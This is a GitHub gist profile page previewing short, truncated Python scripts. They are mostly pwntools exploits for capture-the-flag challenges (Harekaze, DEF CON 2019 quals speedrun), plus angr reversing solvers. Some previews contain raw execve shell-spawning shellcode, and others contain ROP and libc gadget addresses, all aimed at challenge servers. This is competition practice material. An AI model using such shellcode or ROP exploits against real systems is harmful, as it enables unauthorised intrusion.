Skip to content

Instantly share code, notes, and snippets.

View ywkw1717's full-sized avatar
🌴
On vacation

yyy ywkw1717

🌴
On vacation
View GitHub Profile
#!/usr/bin/env python
import struct
def main():
l = []
with open('./flag_oct', 'r') as f:
for i in f:
l = i.split(' ')
#!/usr/bin/env python
from pwn import *
def main():
# conn = process("./oneline")
conn = remote("153.120.129.186", 10000)
libc = ELF("./libc-2.27.so")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
#!/usr/bin/env python
from pwn import *
def main():
conn = remote("153.120.129.186", 20000)
shellcode = "\x48\xbb\x7f\x32\x39\x3e\x7f\x7f\x23\x38\x48\xb8\x50\x50\x50\x50\x50\x50\x50\x50\x48\x31\xc3\x31\xf6\x56\x53\x54\x5f\x48\x31\xc0\xb0\x3b\x31\xd2\x0f\x05"
payload = shellcode
conn.send(payload)
#!/usr/bin/env python
import angr
from claripy import BVS
proj = angr.Project("./linear_operation")
length = 63
flag = BVS("flag", length * 8)
addr_is_correct = 0x400607
#!/usr/bin/env python
import angr
proj = angr.Project("./scramble", load_options={"auto_load_libs": False})
addr_main = 0x400680
initial_state = proj.factory.blank_state(addr=addr_main)
path_group = proj.factory.path_group(initial_state)
e = path_group.explore(find=(0x400737,), avoid=(0x4006fb,))
#!/usr/bin/env python
from pwn import *
def main():
# conn = process("./babyrop2")
conn = remote("problem.harekaze.com", 20005)
elf = ELF('./babyrop2')
libc = ELF('./libc.so.6')
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#!/usr/bin/env python
from pwn import *
def main():
# conn = process("./babyrop")
conn = remote("problem.harekaze.com", 20001)
pop_rdi_ret = 0x400683 #: pop rdi ; ret
system = 0x400490
#!/usr/bin/env python
from pwn import *
def main():
conn = remote("speedrun-003.quals2019.oooverflow.io", 31337)
# conn = remote("localhost", 3000)
payload = "\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x31\xf6\x56\x53\x54\x5f\xb0\x5a\xb0\x3b\x31\xd2\x31\xd2\x31\xd2\x31\xd2\x0f\x05"
#!/usr/bin/env python
from pwn import *
def main():
# conn = process("./speedrun-002")
# conn = remote("localhost", 3000)
conn = remote("speedrun-002.quals2019.oooverflow.io", 31337)
elf = ELF("./speedrun-002")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#!/usr/bin/env python
from pwn import *
import time
def main():
# conn = process("./speedrun-001")
conn = remote("speedrun-001.quals2019.oooverflow.io", 31337)
# conn = remote("localhost", 3000)
bss_addr = 0x6bbae0